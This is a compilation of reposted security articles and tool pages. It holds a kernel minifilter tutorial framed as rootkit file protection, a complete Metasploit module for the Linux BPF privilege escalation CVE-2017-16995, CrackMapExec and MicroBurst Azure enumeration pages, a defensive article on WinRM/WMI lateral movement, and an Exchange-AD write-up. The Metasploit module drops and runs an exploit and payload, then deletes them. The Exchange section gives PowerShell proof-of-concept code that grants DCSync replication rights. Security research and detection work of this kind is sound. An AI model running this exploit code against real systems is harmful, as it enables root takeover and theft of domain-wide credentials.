Nytro

Kernel Mode Rootkits: File Deletion Protection dtm waifu pillow collector Hey guys, back with just another casual article from me this time around since one of my projects failed miserably and I don’t really have the time for another serious one. Also I’ve getting into something new, as you may have already guessed, kernel-mode development! Yeah, pretty exciting stuff and I’m here to share a little something I’ve learned that might be interesting to you all. Brace yourselves! Disclaimer: The following article documents what I’ve learned and may or may not be completely accurate because I am very new to this. Of course I would never intentionally provide misinformation to this community, but please approach it relatively lightly. If there are any mistakes, please do not hesitate to inform me so I can fix them. I would also like to apologise for any garbage code, I can’t help it. :’) Windows Kernel Mode Drivers and I/O Request Packets So just really briefly, since this is not an article about kernel mode or drivers in general, I will describe some basic concepts that will aid in the understanding of the content I will present. The first thing is what’s called an “I/O Request Packet” (IRP for short) which represent the majority of what is delivered to the operating system and drivers. This can be things like a file request or a keyboard key press. What happens with IRPs and drivers is that the IRP is sent down a “stack” of drivers that are registered (with the I/O manager) to process them. It looks something like this: IORequestFlow.jpg579x565 48.1 KB Obtained from http://www.windowsbugcheck.com/2017/05/device-objects-and-driver-stack-part-2.html 1 The IRP falls down the stack until it reaches the device or driver that is capable of handling the specified request and then it will get sent back upwards once it is fulfilled. Note that the IRP does not necessarily have to go all the way down to the bottom to be completed. File Deletion Protection Here I will present the high-level conceptual overview on how it is possible to protect a file from being deleted. The condition which I have selected in order for this mechanism to prevent a file from deletion is that the file must have the .PROTECTED extension (case-insensitive). Previously, I have described that IRPs must be sent down the driver stack until the bottom or until it can be completed. If a special driver can be slotted into a position in the driver stack before whatever fulfills the targeted IRPs, it has the power to filter the request and interrupt or modify it if desired. This notion serves as the core to the file deletion protection mechanism. In order to detect if IRPs should be interrupted from deletion, it simply needs to extract the file extension and compare it to whatever is disallowed for deletion. If the extensions match, the driver will prevent the IRP from any further processing by completing the request and sending it back up the driver stack with an error. It may look a little something like this: ^ +------------+ | +> | Driver 1 | <+ IRP being sent down | +------------+ | the driver stack. | ... | (If file should be | +------------+ | (If the file should not protected, send it ----> +- | Our driver | <+ be protected, continue back up prematurely.) +------------+ sending it down.) ... +------------+ | Driver n | +------------+ ... +------------+ | Device | +------------+ Anti Delete So time for some juicy code to put theory to practice. The following code is example code of a “minifilter” driver which mainly handles file system requests. // The callbacks array defines what IRPs we want to process. CONST FLT_OPERATION_REGISTRATION Callbacks[] = { { IRP_MJ_CREATE, 0, PreAntiDelete, NULL }, // DELETE_ON_CLOSE creation flag. { IRP_MJ_SET_INFORMATION, 0, PreAntiDelete, NULL }, // FileInformationClass == FileDispositionInformation(Ex). { IRP_MJ_OPERATION_END } }; CONST FLT_REGISTRATION FilterRegistration = { sizeof(FLT_REGISTRATION), // Size FLT_REGISTRATION_VERSION, // Version 0, // Flags NULL, // ContextRegistration Callbacks, // OperationRegistration Unload, // FilterUnloadCallback NULL, // InstanceSetupCallback NULL, // InstanceQueryTeardownCallback NULL, // InstanceTeardownStartCallback NULL, // InstanceTeardownCompleteCallback NULL, // GenerateFileNameCallback NULL, // NormalizeNameComponentCallback NULL // NormalizeContextCleanupCallback }; PFLT_FILTER Filter; static UNICODE_STRING ProtectedExtention = RTL_CONSTANT_STRING(L"PROTECTED"); NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { // We can use this to load some configuration settings. UNREFERENCED_PARAMETER(RegistryPath); DBG_PRINT("DriverEntry called.\n"); // Register the minifilter with the filter manager. NTSTATUS status = FltRegisterFilter(DriverObject, &FilterRegistration, &Filter); if (!NT_SUCCESS(status)) { DBG_PRINT("Failed to register filter: <0x%08x>.\n", status); return status; } // Start filtering I/O. status = FltStartFiltering(Filter); if (!NT_SUCCESS(status)) { DBG_PRINT("Failed to start filter: <0x%08x>.\n", status); // If we fail, we need to unregister the minifilter. FltUnregisterFilter(Filter); } return status; } First of all, the IRPs that should be processed by the driver are IRP_MJ_CREATE 1 and IRP_MJ_SET_INFORMATION 1 which are requests made when a file (or directory) is created and when metadata is being set, respectively. Both of these IRPs have the ability to delete a file which will be detailed later. The Callbacks array is defined with the respective IRP to be processed and the pre-operation and post-operation callback functions. The pre-operation defines the function that is called when the IRP goes down the stack while the post-operation is the function that is called when the IRP goes back up after it has been completed. Note that the post-operation is NULL as this scenario does not require one; the interception of file deletion is only handled in the pre-operation. DriverEntry is the driver’s main function where the registration with the filter manager is performed using FltRegisterFilter. Once that is successful, to start filtering IRPs, it must call the FltStartFiltering function with the filter handle. Also note that we have defined the extension to protect as .PROTECTED as aforementioned. It is also good practice to define an unload function so that if the driver has been requested to stop, it can perform an necessary cleanups. Its reference in this article is purely for completeness and does not serve any purpose for the main content. /* * This is the driver unload routine used by the filter manager. * When the driver is requested to unload, it will call this function * and perform the necessary cleanups. */ NTSTATUS Unload(_In_ FLT_FILTER_UNLOAD_FLAGS Flags) { UNREFERENCED_PARAMETER(Flags); DBG_PRINT("Unload called.\n"); // Unregister the minifilter. FltUnregisterFilter(Filter); return STATUS_SUCCESS; } The final function in this code is the PreAntiDelete pre-operation callback which handles the IRP_MJ_CREATE and IRP_MJ_SET_INFORMATION IRPs. IRP_MJ_CREATE includes functions that request a “file handle or file object or device object”[1] to be opened such as ZwCreateFile. IRP_MJ_SET_INFORMATION includes functions that request to set “metadata about a file or a file handle”[2] such as ZwSetInformationFile. /* * This routine is called every time I/O is requested for: * - file creates (IRP_MJ_CREATE) such as ZwCreateFile and * - file metadata sets on files or file handles * (IRP_MJ_SET_INFORMATION) such as ZwSetInformation. * * This is a pre-operation callback routine which means that the * IRP passes through this function on the way down the driver stack * to the respective device or driver to be handled. */ FLT_PREOP_CALLBACK_STATUS PreAntiDelete(_Inout_ PFLT_CALLBACK_DATA Data, _In_ PCFLT_RELATED_OBJECTS FltObjects, _Flt_CompletionContext_Outptr_ PVOID *CompletionContext) { UNREFERENCED_PARAMETER(CompletionContext); /* * This pre-operation callback code should be running at * IRQL <= APC_LEVEL as stated in the docs: * https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/writing-preoperation-callback-routines * and both ZwCreateFile and ZwSetInformaitonFile are also run at * IRQL == PASSIVE_LEVEL: * - ZwCreateFile: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntcreatefile#requirements * - ZwSetInformationFile: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntsetinformationfile#requirements */ PAGED_CODE(); /* * By default, we don't want to call the post-operation routine * because there's no need to further process it and also * because there is none. */ FLT_PREOP_CALLBACK_STATUS ret = FLT_PREOP_SUCCESS_NO_CALLBACK; // We don't care about directories. BOOLEAN IsDirectory; NTSTATUS status = FltIsDirectory(FltObjects->FileObject, FltObjects->Instance, &IsDirectory); if (NT_SUCCESS(status)) { if (IsDirectory == TRUE) { return ret; } } /* * We don't want anything that doesn't have the DELETE_ON_CLOSE * flag. */ if (Data->Iopb->MajorFunction == IRP_MJ_CREATE) { if (!FlagOn(Data->Iopb->Parameters.Create.Options, FILE_DELETE_ON_CLOSE)) { return ret; } } /* * We don't want anything that doesn't have either * FileDispositionInformation or FileDispositionInformationEx or * file renames (which can just simply rename the extension). */ if (Data->Iopb->MajorFunction == IRP_MJ_SET_INFORMATION) { switch (Data->Iopb->Parameters.SetFileInformation.FileInformationClass) { case FileRenameInformation: case FileRenameInformationEx: case FileDispositionInformation: case FileDispositionInformationEx: case FileRenameInformationBypassAccessCheck: case FileRenameInformationExBypassAccessCheck: case FileShortNameInformation: break; default: return ret; } } /* * Here we can check if we want to allow a specific process to fall * through the checks, e.g. our own application. * Since this is a PASSIVE_LEVEL operation, we can assume(?) that * the thread context is the thread that requested the I/O. We can * check the current thread and compare the EPROCESS of the * authenticated application like so: * * if (IoThreadToProcess(Data->Thread) == UserProcess) { * return FLT_PREOP_SUCCESS_NO_CALLBACK; * } * * Of course, we would need to find and save the EPROCESS of the * application somewhere first. Something like a communication port * could work. */ PFLT_FILE_NAME_INFORMATION FileNameInfo = NULL; // Make sure the file object exists. if (FltObjects->FileObject != NULL) { // Get the file name information with the normalized name. status = FltGetFileNameInformation(Data, FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &FileNameInfo); if (NT_SUCCESS(status)) { // Now we want to parse the file name information to get the extension. FltParseFileNameInformation(FileNameInfo); // Compare the file extension (case-insensitive) and check if it is protected. if (RtlCompareUnicodeString(&FileNameInfo->Extension, &ProtectedExtention, TRUE) == 0) { DBG_PRINT("Protecting file deletion/rename!"); // Strings match, deny access! Data->IoStatus.Status = STATUS_ACCESS_DENIED; Data->IoStatus.Information = 0; // Complete the I/O request and send it back up. ret = FLT_PREOP_COMPLETE; } // Clean up file name information. FltReleaseFileNameInformation(FileNameInfo); } } return ret; } For IRP_MJ_CREATE, we want to check for the FILE_DELETE_ON_CLOSE create option which is described as "Delete the file when the last handle to it is passed to NtClose. If this flag is set, the DELETE flag must be set in the DesiredAccess parameter."[3] If this flag is not present, we do not care about it so it is passed down the stack for further processing as represented by the FLT_PREOP_SUCCESS_NO_CALLBACK return value. Note that the NO_CALLBACK means that the post-operation routine should not be called when the IRP is completed and passed back up the stack which is what should always be returned by this function as there is no post-operation. For IRP_MJ_SET_INFORMATION, the FileInformationClass parameter should be checked. The FileDispositionInformation value is described as "Usually, sets the DeleteFile member of a FILE_DISPOSITION_INFORMATION to TRUE, so the file can be deleted when NtClose is called to release the last open handle to the file object. The caller must have opened the file with the DELETE flag set in the DesiredAccess parameter."[4]. To prevent the file from simply being renamed such that the protected extension no longer exists, the FileRenameInformation and FileShortNameInformation values must also be checked. If the driver receives an IRP request that is selected for file deletion, it must parse the file name information to extract the extension by using the FltGetFileNameInformation and FltParseFileNameInformation functions. Then it is a simple string comparison between the requested file for deletion’s extension and the protected extension to determine whether the delete operation should be allowed or disallowed. In the case of an unauthorised file deletion, the status of the operation is set to STATUS_ACCESS_DENIED and the pre-operation function completes the IRP. Demonstration Attempt to delete the file: VirtualBox_Windows 7 x86 Kernel Development_17_07_2018_00_59_09.png1366x768 82.8 KB Attempt to rename the file: VirtualBox_Windows 7 x86 Kernel Development_17_07_2018_00_59_24.png1366x768 84.7 KB FIN Hope that was educational and somewhat interesting or motivational. As usual, you can find the code on my GitHub 15. Thanks for reading! Sursa: https://0x00sec.org/t/kernel-mode-rootkits-file-deletion-protection/7616

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', 'Description' => %q{ Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) which contains a vulnerability where it may improperly perform sign extension. This can be utilized to escalate privileges. The target system must be compiled with BPF support and must not have kernel.unprivileged_bpf_disabled set to 1. This module has been tested successfully on: Debian 9.0 kernel 4.9.0-3-amd64; Deepin 15.5 kernel 4.9.0-deepin13-amd64; ElementaryOS 0.4.1 kernel 4.8.0-52-generic; Fedora 25 kernel 4.8.6-300.fc25.x86_64; Fedora 26 kernel 4.11.8-300.fc26.x86_64; Fedora 27 kernel 4.13.9-300.fc27.x86_64; Gentoo 2.2 kernel 4.5.2-aufs-r; Linux Mint 17.3 kernel 4.4.0-89-generic; Linux Mint 18.0 kernel 4.8.0-58-generic; Linux Mint 18.3 kernel 4.13.0-16-generic; Mageia 6 kernel 4.9.35-desktop-1.mga6; Manjero 16.10 kernel 4.4.28-2-MANJARO; Solus 3 kernel 4.12.7-11.current; Ubuntu 14.04.1 kernel 4.4.0-89-generic; Ubuntu 16.04.2 kernel 4.8.0-45-generic; Ubuntu 16.04.3 kernel 4.10.0-28-generic; Ubuntu 17.04 kernel 4.10.0-19-generic; ZorinOS 12.1 kernel 4.8.0-39-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit 'vnik', # upstream44.c exploit 'rlarabee', # cve-2017-16995.c exploit 'h00die', # Metasploit 'bcoles' # Metasploit ], 'DisclosureDate' => 'Nov 12 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'get-rekt-linux-hardened.c' ], [ 'AKA', 'upstream44.c' ], [ 'BID', '102288' ], [ 'CVE', '2017-16995' ], [ 'EDB', '44298' ], [ 'EDB', '45010' ], [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" if unprivileged_bpf_disabled? vprint_error 'Unprivileged BPF loading is not permitted' return CheckCode::Safe end vprint_good 'Unprivileged BPF loading is permitted' release = kernel_release if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit.out') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit ...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path} ..." rm_f executable_path rm_f payload_path end end Sursa: https://www.exploit-db.com/exploits/45058/

CrackMapExec Acknowledgments (These are the people who did the hard stuff) This project was originally inspired by: smbmap CredCrack smbexec Unintentional contributors: The Empire project @T-S-A's smbspider script @ConsciousHacker's partial Python port of Invoke-obfuscation from the GreatSCT project This repository contains the following repositories as submodules: Impacket Pywinrm Pywerview PowerSploit Invoke-Obfuscation Invoke-Vnc Mimikittenz NetRipper RandomPS-Scripts SessionGopher Mimipenguin Documentation, Tutorials, Examples See the project's wiki for documentation and usage examples Installation Please see the installation wiki page here. How to fund my tea & sushi reserve BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr To do Kerberos support 0wn everything Sursa: https://github.com/byt3bl33d3r/CrackMapExec

MicroBurst A collection of scripts for assessing Microsoft Azure security Invoke-EnumerateAzureBlobs.ps1 PS C:> Get-Help Invoke-EnumerateAzureBlobs NAME: Invoke-EnumerateAzureBlobs SYNOPSIS: PowerShell function for enumerating public Azure Blobs and Containers. SYNTAX: Invoke-EnumerateAzureBlobs [[-Base] ] [[-OutputFile] ] [[-Permutations] ] [[-Folders] ] [[-BingAPIKey] ] [] DESCRIPTION: The function will check for valid .blob.core.windows.net host names via DNS. If a BingAPIKey is supplied, a Bing search will be made for the base word under the .blob.core.windows.net site. After completing storage account enumeration, the function then checks for valid containers via the Azure REST API methods. If a valid container has public files, the function will list them out. -------------------------- EXAMPLE 1 -------------------------- PS C:\>Invoke-EnumerateAzureBlobs -Base secure Found Storage Account - secure.blob.core.windows.net Found Storage Account - testsecure.blob.core.windows.net Found Storage Account - securetest.blob.core.windows.net Found Storage Account - securedata.blob.core.windows.net Found Storage Account - securefiles.blob.core.windows.net Found Storage Account - securefilestorage.blob.core.windows.net Found Storage Account - securestorageaccount.blob.core.windows.net Found Storage Account - securesql.blob.core.windows.net Found Storage Account - hrsecure.blob.core.windows.net Found Storage Account - secureit.blob.core.windows.net Found Storage Account - secureimages.blob.core.windows.net Found Storage Account - securestorage.blob.core.windows.net Found Container - hrsecure.blob.core.windows.net/NETSPItest Public File Available: https://hrsecure.blob.core.windows.net/NETSPItest/SuperSecretFile.txt Found Container - secureimages.blob.core.windows.net/NETSPItest123 RELATED LINKS: https://blog.netspi.com/anonymously-enumerating-azure-file-resources/ Sursa: https://github.com/NetSPI/MicroBurst

Lateral Movement Using WinRM and WMI Tony LambertNovember 20, 2017 Many organizations invest millions of dollars to bolster their systems and prevent attackers from gaining entry. Much less attention is given to the concept of lateral movement within an organization. Yet we’ve seen time and time again that once an adversary breaks through the crunchy outer layer of the network, the gooey center quickly becomes trivial to move about. Stopping lateral movement is just as important as preventing a breach. Attackers frequently move laterally with tools included in Windows, and this tactic has also been observed within commodity malware samples. This article will outline a threat detection in which Windows Remote Management (WinRM) spawned a process via Windows Management Instrumentation (WMI). First, let’s take a look at normal execution of WinRM and why it’s important to secure it. How WinRM Usually Works Normal execution of WinRM involves the configuration and inspection of the Windows Remote Management subsystem. This subsystem has been part of Windows by default since Windows Vista, and it has evolved to power the new way of remote management: PowerShell Remoting. Essentially, Windows has a built-in-by-default system that lends itself well to lateral movement and it’s up to administrators to secure it properly. If admins don’t take the right steps, attackers can use stolen credentials to launch processes on multiple computers across the network. Within minutes, an incident can grow from a single compromised system to hundreds using built-in tools in Windows. We usually see simple commands such as “winrm get config” or “winrm quickconfig.” In this case, we noticed something very different… What are we seeing and why isn’t it normal? Functionality of the WinRM command is provided through a Visual Basic Script, so it’s natural to see WinRM configuration performed from the CScript utility. The command of concern used with WinRM here is the “invoke” command. This command allows WinRM to work with management resources defined by the Windows operating system, primarily through WMI. After looking into the structure of a WinRM command, we discovered that whatever comes after “invoke” is a method defined per management resource or WMI class. In this case, the Win32_Process WMI class has a “Create” method. This allows the user of WinRM to execute a process via WMI. Now we can interpret the rest of the command. The screenshot below enumerates three things to note. The “-r” switch (1) signifies the WinRM Invoke statement is being executed on a remote host specified at the “HTTPS” address. This is significant because if we look at the host this command was executed from, we won’t find evidence of what happened after this command. To get visibility from here, we’d need to jump over to the remote host and observe what happened. The “-a” (2) and “-c” (3) switches signify the attacker authenticated to the remote host using a certificate identified by the specified thumbprint. At this point it should be becoming apparent this isn’t normal. There are much better ways to run simple applications when authorized to do so. For example, legitimate system administrators can use PowerShell Remoting or PsExec commands to run applications on remote computers. And when on a local computer, users can simply double-click on applications or launch them through the Command Shell or PowerShell. Quite simply, processes started in this fashion are an anomaly. But, hey… at least the attacker used encryption when connecting to the host! How to Detect This Threat A detection engineer originally found this event due to other bad behavior on the endpoint and realized we needed a way to better detect it. To get more information about its detection, we jumped into a test lab to look at different permutations of this attack. We realized the attack would be slightly different if the attacker had left out the remote connectivity options, so we began there. In most cases when a command launches another command, we expect to see the second one spawn as a child process of the first. So in theory we would expect WinRM to spawn a process as a child to “CScript.exe.” Once we got into the lab, we found a different reality: CScript had no child processes! Not only that, it didn’t modify any files or leave any other telltale signs that a process had been spawned. So we needed to dive deeper to find how Notepad executed… Notepad spawned as a child process of “wmiprvse.exe,” a binary whose function allows WMI to interface with the rest of the Windows operating system. Our WinRM command simply submitted an operation to WMI, and WMI used its own interfaces to execute that operation and spawn a process. Our initial detection specified a remote host, so our next round of testing needed a remote host. This time around, we raised the stakes by attempting to execute “vssadmin.exe” instead of Notepad since we’ve observed lateral movement used with vssadmin during ransomware attacks. When we examined the execution of vssadmin, we discovered that it spawned from “wmiprvse.exe” just like our first test (which did not involve a remote host). This time around there was another catch: we didn’t see a network connection from “wmiprvse.exe”. In fact, we had to search around to find the connection, and it was shown as established by one of the “svchost” processes. This is due to the nature of WinRM, since it executes as a Windows Service and makes all the relevant network connections on behalf of the processes that use it. To expand your detection functions for this attack, you’ll need to monitor processes spawning from “wmiprvse.exe” and suspicious network connections to “svchost.” For those interested in monitoring processes spawning from WMI, be warned! It gets noisy, and you’ll need to establish a baseline of what looks normal in your environment. Once you can outline legitimate activity from your admins, you can focus on spotting evil. How to Mitigate This Threat WinRM can be secured in a few different ways. First, system admins should establish a management network architecture that lends itself to increased security. This involves establishing a jumpbox that is only used for remote administration functions. This strategy helps secure a network by forcing this privileged activity through a single controlled and hardened system, therefore not exposing sensitive credentials to attack. It also helps secure WinRM directly because we can limit the number of hosts trusted by the WinRM subsystem. In an ideal environment, client computers in the organization should not trust one another, and they should only trust the jumpbox systems. To configure what trusted hosts are allowed to contact WinRM, we can execute the following command: winrm set winrm/config/client '@{TrustedHosts="JumpBox1,JumpBox2"}' This configuration can also be enforced using Group Policy objects in an Active Directory environment. This can be accomplished via a policy with the “Allow remote server management through WinRM” setting, and specifying a list of hosts to trust. For authentication to WinRM for management, keep the defaults when possible as they don’t allow the less secure methods of authentication (Kerberos is default). Finally, WinRM default configurations establish both an HTTP and HTTPS listener. If you can, endeavor to disable the HTTP listener and only use WinRM over HTTPS. This may involve diving deeper into SSL/TLS certificates in your organization, so approach that with careful planning. Key Takeaways Preventing malicious lateral movement is just as important as preventing the initial breach. Limiting this movement helps security teams “stop the bleeding” during an incident and prevent it from becoming a full scale breach. Detection of this threat is difficult as WMI processes are noisy, but a solid understanding of your network makes it much easier. Taking action against this threat is a great way to defend your organization and stop a breach in its tracks! Sursa: https://redcanary.com/blog/lateral-movement-winrm-wmi/

Exchange-AD-Privesc This repository provides a few techniques and scripts regarding the impact of Microsoft Exchange deployment on Active Directory security. This is a side project of AD-Control-Paths, an AD permissions auditing project to which I recently added some Exchange-related modules. General considerations For pentesters looking to take control of an AD domain, Exchange is a valid intermediary target. The servers are much less secured than domain controllers by default and the control groups are distinct in the usual permissions models, which provides numerous alternative targets. They are also more difficult to migrate and business critical, so organizations often adopt a slower migration process for Exchange than for AD and do not specifically harden the servers. Exchange deployment on an Active Directory domain is an interesting case. Many attributes and classes are added to the schema, security groups are created and DACL on some AD objects are heavily modified. Basically, you can select among 3 permissions models: RBAC Split (recommended and most commonly deployed) Shared permissions (default) AD Split Particularly, DACLs for RBAC Split and Shared models are enumerated here: https://technet.microsoft.com/en-us/library/ee681663(v=exchg.150).aspx . High value targets: Exchange Trusted Subsystem and Exchange Windows Permissions groups, which are trustees for many ACE added during deployment on AD objects. Exchange servers: they are members of Exchange Trusted Subsystem and Exchange Windows Permissions groups. They can be compromised using many more techniques than domain controllers: local administrators domain accounts, Kerberos delegation, SMB relay, RODC replication, etc. The usual stuff. Organization admins: they are part of the local administrators group on Exchange servers. They also have full control on the OU containing the Exchange security groups. They can launch service/psexec/runas/... under computer identity/NetworkService/LocalSystem to control Exchange Trusted Subsystem and Exchange Windows Permissions SIDs. 1. Domain object DACL privilege escalation A privilege escalation is possible from the Exchange Windows permissions (EWP) security group to compromise the entire prepared Active Directory domain. DISCLAIMER: This issue has been responsibly disclosed to MSRC in October 2017 and after a few back and forth emails, they decided it was working as intended and would not fix it. Description of the issue When preparing Exchange 2010/2013/2016 installation in Shared permissions (default) or RBAC split permissions, some ACEs are positioned on the domain object for the Exchange Windows Permissions security group. This happens during the "Setup /PrepareDomain" command. Two ACEs on the domain object are missing the INHERIT_ONLY_ACE bit in the Flags field. This is their SDDL representation : (OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;<SID of EWP>) (OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;<SID of EWP>) Notice the missing 'IO' (inherit_only) flag. As a matter of fact, INHERITED_OBJECT_TYPE ACE effectively apply to the object itself when the inherit_only flag is not set. This is how they are documented on Technet, so it is definitely missing that information: Account ACE type Inheritance Permissions On property/ Applies to Comments Exchange Windows Permissions Allow ACE All WriteDACL / user Exchange Windows Permissions Allow ACE All WriteDACL / inetOrgPerson This is how they appear in the GUI (DSA console), which is also missing that information: The issue can be confirmed in the "Effective Access" tab of the domain object when specifying EWP. Coincidentally, INHERITED_OBJECT_TYPE ACE created with DSA console always have the IO flag. Creating a 'self and specific descendents', INHERITED_OBJECT_TYPE ACE is only possible programmatically and only viewable programmatically. Technical consequence The Allow permission to WriteDACL is granted to the Trustee on the domain object itself and not only on its user/inetOrgPerson descendants, effectively giving complete control to anyone with the Exchange Windows Permissions SID in its token. Expected behavior The Allow permission to WriteDACL should only be given on child objects matching the INHERITED_OBJECT_TYPE Guid. It is supposed to only apply to user or inetOrgPerson classes. This is not consistent with the other INHERITED_OBJECT_TYPE ACEs on the domain object for the same Trustee, which all have the INHERIT_ONLY_ACE bit in the Flags field. Security Consequence A privilege escalation is possible from the Exchange Windows permissions (EWP) security group to compromise the entire prepared Active Directory domain. Just set the Ds-Replication-Get-Changes-All extended right on the domain object. This is enough to use a DRSUAPI replication tool ala DCSync to get all the domain secrets (Kerberos keys, hashes, etc.). You can control the SID of the EWP group from Organization management, from Account operators or from any Exchange server. Interestingly, the RBAC system is proxified through EWP so a privilege escalation is possible from the Active Directory Permissions RBAC role to compromise the entire prepared Active Directory domain. Proof of concept 1: Set-Acl (or with DSA console) From an Organization Management member account, add yourself to Exchange Windows Permissions. This is possible by default (see the above technet page). $id = [Security.Principal.WindowsIdentity]::GetCurrent() $user = Get-ADUser -Identity $id.User Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members $user RELOG to update groups in your token then give yourself Ds-Replication-Get-Changes-All extended right on the domain object. $acl = get-acl "ad:DC=test,DC=local" $id = [Security.Principal.WindowsIdentity]::GetCurrent() $user = Get-ADUser -Identity $id.User $sid = new-object System.Security.Principal.SecurityIdentifier $user.SID # rightsGuid for the extended right Ds-Replication-Get-Changes-All $objectguid = new-object Guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 $identity = [System.Security.Principal.IdentityReference] $sid $adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" $type = [System.Security.AccessControl.AccessControlType] "Allow" $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" $ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType $acl.AddAccessRule($ace) Set-acl -aclobject $acl "ad:DC=test,DC=com" Proof of concept 2: RBAC Add-ADPermission The following Powershell code, executed by a user account with the RBAC role Active Directory Permissions, sets the Ds-Replication-Get-Changes-All extended right on the domain object. $id = [Security.Principal.WindowsIdentity]::GetCurrent() Add-ADPermission "DC=test,DC=local" -User $id.Name -ExtendedRights Ds-Replication-Get-Changes-All Workaround fix Use the Fix-DomainObjectDACL.ps1 Powershell script in this repository. Read it, test it, use it at your own risk. By default, it checks the two faulty ACE, this can be done by any user. Use with -Fix switch with Domain Admins privileges to set the inherit_only missing flags. Another option is doing it manually with LDP. Bind as a Domain Admin account with the usual precautions, as you will change the domain object DACL. Locate the 2 faulty ACE in the DACL of the domain object: you can sort by Trustee to see Exchange Windows Permissions, there will only be 2 ACE with "Write DACL,..." Rights. Check the 'Inherit only' box in their ACE flags field. Sursa: https://github.com/gdedrouas/Exchange-AD-Privesc

